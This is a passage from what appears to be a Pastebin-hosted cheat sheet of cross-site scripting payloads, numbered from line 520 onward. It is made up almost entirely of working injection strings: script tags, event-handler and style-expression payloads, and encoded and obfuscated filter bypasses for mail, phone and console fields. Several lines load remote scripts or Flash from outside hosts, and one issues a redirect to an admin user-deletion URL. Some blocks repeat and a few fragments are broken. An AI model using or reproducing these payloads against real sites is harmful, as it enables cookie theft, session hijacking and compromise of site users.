  520. -1<SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT>
  521. -1</TITLE><SCRIPT>document.cookie=true;</SCRIPT>
  522. -1<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;">
  523. -1<BODY BACKGROUND="javascript:document.cookie=true;">
  524. -1<BODY ONLOAD=document.cookie=true;>
  525. -1<IMG DYNSRC="javascript:document.cookie=true;">
  526. -1<IMG LOWSRC="javascript:document.cookie=true;">
  527. -1<BGSOUND SRC="javascript:document.cookie=true;">
  528. -1<BR SIZE="&{document.cookie=true}">
  529. -1<LAYER SRC="javascript:document.cookie=true;"></LAYER>
  530. -1<LINK REL="stylesheet" HREF="javascript:document.cookie=true;">
  531. -1<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting
  532. -1¼script¾document.cookie=true;¼/script¾
  533. -1<IFRAME SRC="javascript:document.cookie=true;"></IFRAME>
  534. -1<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET>
  535. -1<TABLE BACKGROUND="javascript:document.cookie=true;">
  536. -1<TABLE><TD BACKGROUND="javascript:document.cookie=true;">
  537. -1<DIV STYLE="background-image: url(javascript:document.cookie=true;)">
  538. -1<DIV STYLE="background-image: url(&#1;javascript:document.cookie=true;)">
  539. -1<DIV STYLE="width: expression(document.cookie=true);">
  540. -1<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE>
  541. -1<IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)">
  542. -1<CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)">
  543. -1exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'>
  544. -1<STYLE TYPE="text/javascript">document.cookie=true;</STYLE>
  545. -1<STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A>
  546. -1<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE>
  547. -1<SCRIPT>document.cookie=true;</SCRIPT>
  548. -1<BASE HREF="javascript:document.cookie=true;//">
  549. -1<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT>
  550. -1<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  551. -1<XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  552. -1<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML>
  553. -1<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?>
  554. -1<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4-
  555. -1<a href="javascript#document.cookie=true;">
  556. -1<div onmouseover="document.cookie=true;">
  557. -1<img src="javascript:document.cookie=true;">
  558. -1<img dynsrc="javascript:document.cookie=true;">
  559. -1<input type="image" dynsrc="javascript:document.cookie=true;">
  560. -1<bgsound src="javascript:document.cookie=true;">
  561. -1&<script>document.cookie=true;</script>
  562. -1&{document.cookie=true;};
  563. -1<img src=&{document.cookie=true;};>
  564. -1<link rel="stylesheet" href="javascript:document.cookie=true;">
  565. -1<img src="mocha:document.cookie=true;">
  566. -1<img src="livescript:document.cookie=true;">
  567. -1<a href="about:<script>document.cookie=true;</script>">
  568. -1<body onload="document.cookie=true;">
  569. -1<div style="background-image: url(javascript:document.cookie=true;);">
  570. -1<div style="behaviour: url([link to code]);">
  571. -1<div style="binding: url([link to code]);">
  572. -1<div style="width: expression(document.cookie=true;);">
  573. -1<style type="text/javascript">document.cookie=true;</style>
  574. -1<object classid="clsid:..." codebase="javascript:document.cookie=true;">
  575. -1<style><!--</style><script>document.cookie=true;//--></script>
  576. -1<<script>document.cookie=true;</script>
  577. -1<script>document.cookie=true;//--></script>
  578. -1<!-- -- --><script>document.cookie=true;</script><!-- -- -->
  579. -1<img src="blah"onmouseover="document.cookie=true;">
  580. -1<img src="blah>" onmouseover="document.cookie=true;">
  581. -1<xml src="javascript:document.cookie=true;">
  582. -1<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml>
  583. -1<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>
  584.  
  585.  
  586. Cross Site Scripting Strings Restriction Bypass Mail:
  587.  
  588. >"<iframe src=http://vulnerability-lab.com/>@gmail.com
  589. >"<script>alert(document.cookie)</script><div style="1@gmail.com
  590. >"<script>alert(document.cookie)</script>@gmail.com
  591.  
  592. <iframe src=http://vulnerability-lab.com/>@gmail.com
  593. <script>alert(document.cookie)</script><div style="1@gmail.com
  594. <script>alert(document.cookie)</script>@gmail.com
  595.  
  596.  
  597. Cross Site Scripting Strings Restriction Bypass Phone:
  598. +49/>"<iframe src=http://vulnerability-lab.com>1337
  599. "><iframe src='' onload=alert('mphone')>
  600. <iframe src=http://vulnerability-lab.com>1337+1
  601.  
  602.  
  603. Cross Site Scripting Strings Restriction Bypass Obfuscation
  604.  
  605. >“<ScriPt>ALeRt("VlAb")</scriPt>
  606. >"<IfRaMe sRc=hTtp://vulnerability-lab.com></IfRaMe>
  607.  
  608.  
  609. Cross Site Scripting Strings Restriction Bypass String to Charcode
  610.  
  611. <html><body>
  612. <button.onclick="alert(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,
  613. 101,114,116,40,34,67,114,111,115,115,83,105,116,101,83,99,114,105,112,116,105,1
  614. 10,103,64,82,69,77,79,86,69,34,41,60,47,115,99,114,105,112,116,62));">String:fr
  615. om.Char.Code</button></body></html>
  616.  
  617.  
  618. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))//\";alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))</SCRIPT>
  619. '';!--"<CrossSiteScripting>=&{()}
  620.  
  621.  
  622.  
  623. Cross Site Scripting Strings Restriction Bypass encoded frame url
  624.  
  625. %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%43%72%6F
  626. %73%73%53%69%74%65%53%63%72%69%70%74%69%6E%67%32%22%29%3C%2F
  627. %73%63%72%69%70%74%3E
  628.  
  629.  
  630.  
  631. Cross Site Scripting Strings via Console:
  632. set vlan name 1337 <script>alert(document.cookie)</script>
  633. set system name <iframe src=http://www.vulnerability-lab.com>
  634. set system location "><iframe src=a onload=alert("VL") <
  635. set system contact <script>alert('VL')</script>
  636.  
  637. insert <script>alert(document.cookie)</script>
  638. add <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT>'"-->
  639. add user <script>alert(document.cookie)</script> <script>alert(document.cookie)</script>@gmail.com
  640.  
  641. add topic <iframe src=http://www.vulnerability-lab.com>
  642. add name <script>alert('VL')</script>
  643.  
  644. perl -e 'print "<IMG SRC=java\0script:alert(\"CrossSiteScripting\")>";' > out
  645. perl -e 'print "<SCR\0IPT>alert(\"CrossSiteScripting\")</SCR\0IPT>";' > out
  646.  
  647. <!--[if gte IE 4]> <SCRIPT>alert('CrossSiteScripting');</SCRIPT> <![endif]-->
  648.  
  649.  
  650.  
  651.  
  652. Cross Site Scripting Strings on per line validation applications:
  653.  
  654. <IMG
  655. SRC
  656. =
  657. "
  658. j
  659. a
  660. v
  661. a
  662. s
  663. c
  664. r
  665. i
  666. p
  667. t
  668. :
  669. a
  670. l
  671. e
  672. r
  673. t
  674. (
  675. '
  676. V
  677. L
  678. A
  679. B
  680. '
  681. )
  682. "
  683. >
  684.  
  685.  
  686.  
  687. Cross Site Scripting Strings Embed:
  688.  
  689. <EMBED SRC="http://vulnerability-lab.com/CrossSiteScripting.swf" AllowScriptAccess="always"></EMBED>
  690.  
  691. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  692.  
  693. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  694.  
  695.  
  696.  
  697. Cross Site Scripting Strings Action Script:
  698.  
  699. <object type="application/x-shockwave-flash" data="http://www.vulnerability-lab.com/hack.swf" width="300" height="300">
  700. <param name="movie" value="http://www.subhohalder.com/xysecteam.swf" />
  701. <param name="quality" value="high" />
  702. <param name="scale" value="noscale" />
  703. <param name="salign" value="LT" />
  704. <param name="allowScriptAccess" value="always" />
  705. <param name="menu" value="false" />
  706. </object>
  707.  
  708.  
  709.  
  710.  
  711. <SCRIPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT>
  712. <<SCRIPT>alert("CrossSiteScripting");//<</SCRIPT>
  713. <SCRIPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js?<B>
  714. <SCRIPT SRC=//vulnerability-lab.com/.js>
  715. <SCRIPT>a=/CrossSiteScripting/ alert(a.source)</SCRIPT>
  716. <SCRIPT a=">" SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT>
  717. <SCRIPT a=`>` SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT>
  718. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT>
  719. </TITLE><SCRIPT>alert("CrossSiteScripting");</SCRIPT>
  720.  
  721.  
  722. <IMG SRC="javascript:alert('CrossSiteScripting');">
  723. <IMG SRC=javascript:alert('CrossSiteScripting')>
  724. <IMG SRC=JaVaScRiPt:alert('CrossSiteScripting')>
  725. <IMG SRC=javascript:alert(&quot;CrossSiteScripting&quot;)>
  726. <IMG SRC=`javascript:alert("RM'CrossSiteScripting'")`>
  727. <IMG """><SCRIPT>alert("CrossSiteScripting")</SCRIPT>">
  728. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  729. <IMG SRC="jav ascript:alert('CrossSiteScripting');">
  730. <IMG SRC="jav&#x09;ascript:alert('CrossSiteScripting');">
  731. <IMG SRC="jav&#x0A;ascript:alert('CrossSiteScripting');">
  732. <IMG SRC="jav&#x0D;ascript:alert('CrossSiteScripting');">
  733. <IMG SRC=" &#14; javascript:alert('CrossSiteScripting');">
  734. <IMG SRC="javascript:alert('CrossSiteScripting')"
  735. <IMG DYNSRC="javascript:alert('CrossSiteScripting')">
  736. <IMG LOWSRC="javascript:alert('CrossSiteScripting')">
  737. <IMG SRC='vbscript:msgbox("CrossSiteScripting")'>
  738. <IMG SRC="mocha:[code]">
  739. <IMG SRC="livescript:[code]">
  740.  
  741.  
  742. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('CrossSiteScripting');">
  743. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  744. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('CrossSiteScripting');">
  745. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('CrossSiteScripting');">
  746. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  747. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=jAvAsCriPt:aLeRt('CroSsSiteScrIpting');">
  748. <META HTTP-EQUIV="Link" Content="<http://vulnerability-lab.com/CrossSiteScripting.css>; REL=stylesheet">
  749. <META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('CrossSiteScripting')&lt;/SCRIPT&gt;">
  750. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('CrossSiteScripting');+ADw-/SCRIPT+AD4-
  751.  
  752.  
  753. <OBJECT TYPE="text/x-scriptlet" DATA="http://vulnerability-lab.com/scriptlet.html"></OBJECT>
  754. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('CrossSiteScripting')></OBJECT>
  755.  
  756.  
  757. <STYLE>@im\port'\ja\vasc\ript:alert("CrossSiteScripting")';</STYLE>
  758. <STYLE>@import'http://vulnerability-lab.com/CrossSiteScripting.css';</STYLE>
  759. <STYLE TYPE="text/javascript">alert('CrossSiteScripting');</STYLE>
  760. <STYLE>.CrossSiteScripting{background-image:url("javascript:alert('CrossSiteScripting')");}</STYLE><A CLASS=CrossSiteScripting></A>
  761. <STYLE type="text/css">BODY{background:url("javascript:alert('CrossSiteScripting')")}</STYLE>
  762. <STYLE>li {list-style-image: url("javascript:alert('CrossSiteScripting')");}</STYLE><UL><LI>CrossSiteScripting
  763. <STYLE>BODY{-moz-binding:url("http://vulnerability-lab.com/CrossSiteScriptingmoz.xml#CrossSiteScripting")}</STYLE>
  764.  
  765.  
  766. <DIV STYLE="background-image: url(javascript:alert('CrossSiteScripting'))">
  767. <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
  768. <DIV STYLE="background-image: url(&#1;javascript:alert('CrossSiteScripting'))">
  769. <DIV STYLE="width: expression(alert('CrossSiteScripting'));">
  770.  
  771. <LAYER SRC="http://vulnerability-lab.com/script.html"></LAYER>
  772. <LINK REL="stylesheet" HREF="javascript:alert('CrossSiteScripting');">
  773. <LINK REL="stylesheet" HREF="http://vulnerability-lab.com/CrossSiteScripting.css">
  774.  
  775. <BODY BACKGROUND="javascript:alert('CrossSiteScripting')">
  776. <BODY ONLOAD=alert('CrossSiteScripting')>
  777. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("CrossSiteScripting")>
  778. <iframe src=http://vulnerability-lab.com/index.html <
  779.  
  780.  
  781. <TABLE BACKGROUND="javascript:alert('CrossSiteScripting')">
  782. <TABLE><TD BACKGROUND="javascript:alert('CrossSiteScripting')">
  783.  
  784. <BGSOUND SRC="javascript:alert('CrossSiteScripting');">
  785. <BR SIZE="&{alert('CrossSiteScripting')}">
  786.  
  787.  
  788. <A HREF="http://server.com/">CrossSiteScripting</A>
  789. <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">CrossSiteScripting</A>
  790. <A HREF="http://1113982867/">CrossSiteScripting</A>
  791. <A HREF="javascript:document.location='http://www.vulnerability-lab.com/'">CrossSiteScripting</A>
  792.  
  793. <BASE HREF="javascript:alert('CrossSiteScripting');//">
  794.  
  795. \";alert('CrossSiteScripting');//
  796.  
  797. <INPUT TYPE="IMAGE" SRC="javascript:alert('CrossSiteScripting');">
  798.  
  799.  
  800.  
  801.  
  802. <CrossSiteScripting STYLE="behavior: url(CrossSiteScripting.htc);">
  803.  
  804.  
  805. ¼script¾alert(¢CrossSiteScripting¢)¼/script¾
  806.  
  807.  
  808.  
  809. <IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(alert('CrossSiteScripting'))">
  810. <CrossSiteScripting STYLE="CrossSiteScripting:expression(alert('CrossSiteScripting'))"> exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*"); CrossSiteScripting:&#101;x&#x2F;*CrossSiteScripting*//*/*/pression(alert("CrossSiteScripting"))'>
  811.  
  812.  
  813.  
  814.  
  815.  
  816. a="get";
  817. b="URL(\"";
  818. c="javascript:";
  819. d="alert('CrossSiteScripting');\")";
  820. eval(v+l+a+b);
  821.  
  822. <HTML xmlns:CrossSiteScripting>
  823. <?import namespace="CrossSiteScripting" implementation="http://ha.ckers.org/CrossSiteScripting.htc">
  824. <CrossSiteScripting:CrossSiteScripting>CrossSiteScripting</CrossSiteScripting:CrossSiteScripting>
  825.  
  826. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('CrossSiteScripting');">]]>
  827. </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  828.  
  829.  
  830. <XML ID="CrossSiteScripting"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('CrossSiteScripting')"&gt;</B></I></XML>
  831. <SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  832.  
  833.  
  834. <XML SRC="CrossSiteScriptingtest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  835.  
  836. <HTML><BODY>
  837. <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
  838. <?import namespace="t" implementation="#default#time2">
  839. <t:set attributeName="innerHTML" to="CrossSiteScripting&lt;SCRIPT DEFER&gt;alert(&quot;CrossSiteScripting&quot;)&lt;/SCRIPT&gt;">
  840. </BODY></HTML>
  841.  
  842. <SCRIPT SRC="http://vulnerability-lab.com/CrossSiteScripting.jpg"></SCRIPT>
  843.  
  844. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT>'"-->
  845.  
  846. <? echo('<SCR)';
  847. echo('IPT>alert("CrossSiteScripting")</SCRIPT>'); ?>
  848.  
  849. <IMG SRC="http://www.vulnerability-lab.com/file.php?variables=malicious">
  850.  
  851. Redirect 302 /vlab.jpg http://vulnerability-lab.com/admin.asp&deleteuser
  852.  
  853.  
  854. <script>[CDATA[prompt(1);]]</script>
  855. <div onclick="setTimeout('prompt(9)',1000)">
  856. eval("prompt(3)")
  857.  
  858. "><img src=x onabort=prompt(1)>
  859. "><img src=x oncanplay=prompt(1)>
  860. "><img src=x oncanplaythrough=prompt(1)>
  861. "><img src=x ondurationchange=prompt(1)>
  862. "><img src=x onemptied=prompt(1)>
  863. "><img src=x onended=prompt(1)>
  864. "><img src=x onerror=prompt(1)>
  865. "><img src=x onloadeddata=prompt(1)>
  866. "><img src=x onloadedmetadata=prompt(1)>
  867. "><img src=x onloadstart=prompt(1)>
  868. "><img src=x onpause=prompt(1)>
  869. "><img src=x onplay=prompt(1)>
  870. "><img src=x onplaying=prompt(1)>
  871. "><img src=x onprogress=prompt(1)>
  872. "><img src=x onratechange=prompt(1)>
  873. "><img src=x onseeked=prompt(1)>
  874. "><img src=x onseeking=prompt(1)>
  875. "><img src=x onstalled=prompt(1)>
  876. "><img src=x onsuspend=prompt(1)>
  877. "><img src=x ontimeupdate=prompt(1)>
  878. "><img src=x onvolumechange=prompt(1)>
  879. "><img src=x onwaiting=prompt(1)>
  880. "><img src=x onshow=prompt(1)>
  881.  
  882. "><img src=x onclick=prompt(1)>
  883. "><img src=x ondblclick=prompt(1)>
  884. "><img src=x ondrag=prompt(1)>
  885. "><img src=x ondragend=prompt(1)>
  886. "><img src=x ondragenter=prompt(1)>
  887. "><img src=x ondragleave=prompt(1)>
  888. "><img src=x ondragover=prompt(1)>
  889. "><img src=x ondragstart=prompt(1)>
  890. "><img src=x ondrop=prompt(1)>
  891. "><img src=x onmousedown=prompt(1)>
  892. "><img src=x onmousemove=prompt(1)>
  893. "><img src=x onmouseout=prompt(1)>
  894. "><img src=x onmouseover=prompt(1)>
  895. "><img src=x onmouseup=prompt(1)>
  896. "><img src=x onmousewheel=prompt(1)>
  897. "><img src=x onscroll=prompt(1)>
  898. "><img src=x onwheel=prompt(1)>
  899.  
  900. "><img src=x onerror=prompt(1)>
  901. [Click here](javascript:alert(1))
  902. "></script><svg/onload=alert("XSS")>
  903. <iframe src="http://businessinfo.co.uk/labs/xss/xss.swf"></iframe>
  904. '|alert('xss')|'
  905. +ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
  906.  
  907.  
  908. #onmouseover=prompt(1)
  909. "><img src=x onerror=prompt(1)>
  910. <script>alert(1)</script>
  911.  
  912. %3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%64%65%3E
  913. &#x3C;&#x69;&#x66;&#x72;&#x61;&#x6D;&#x65;&#x20;&#x73;&#x72;&#x63;&#x3D;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x74;&#x65;&#x73;&#x74;&#x2E;&#x64;&#x65;&#x3E;
  914.  
  915. &#60&#105&#102&#114&#97&#109&#101&#32&#115&#114&#99&#61&#104&#116&#116&#112&#58&#47&#47&#116&#101&#115&#116&#46&#100&#101&#62
  916.  
  917. PGlmcmFtZSBzcmM9aHR0cDovL3Rlc3QuZGU+
  918.  
  919. javascript:alert(1)
  920. <script>
  921. ></SCRIPT>
  922.  
  923.  
  924. "><img src=x onmousemove=prompt(1)>
  925. "><img src=x onmouseout=prompt(1)>
  926.  
  927. "><img src=x onmouseover=prompt(1)>
  928.  
  929. <body onload=prompt(1);>
  930. <select autofocus onfocus=alert(1)>
  931. <textarea autofocus onfocus=alert(1)>
  932. <keygen autofocus onfocus=alert(1)>
  933. <video><source onerror="javascript:alert(1)">
  934. <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
  935.  
  936. <body >
  937. <textarea autofocus onfocus=confirm(1)>
  938. <video><source>
  939. <body language=vbsonload=alert-1
  940. </textarea>//
  941.  
  942.  
  943. <body language=vbsonload=alert-1 // Works with IE8
  944. <command onmouseover ="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8
  945. <q/oncut=open()>
  946.  
  947. <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">.
  948.  
  949. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  950.  
  951. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
  952. <object data="data:text/html;base64,PHNjcmlwdD4NCnNldFRpbWVvdXQobXlGdW5jdGlvbiwgMzAwMDApOw0KZnVuY3Rpb24gbXlGdW5jdGlvbigpIHsNCiAgICBhbGVydCgnaG9nYXJ0aCcpOw0KfQ0KPC9zY3JpcHQ+">
  953. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  954.  
  955.  
  956.  
  957. <body >
  958. <textarea autofocus onfocus=confirm(1)>
  959. <video><source>
  960. <body language=vbsonload=alert-1
  961. </textarea>//
  962.  
  963.  
  964. <body language=vbsonload=alert-1 // Works with IE8
  965. <command onmouseover ="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8
  966. <q/oncut=open()>
  967.  
  968. <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">.
  969.  
  970. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  971.  
  972. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
  973. <object data="data:text/html;base64,PHNjcmlwdD4NCnNldFRpbWVvdXQobXlGdW5jdGlvbiwgMzAwMDApOw0KZnVuY3Rpb24gbXlGdW5jdGlvbigpIHsNCiAgICBhbGVydCgnaG9nYXJ0aCcpOw0KfQ0KPC9zY3JpcHQ+">
  974. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!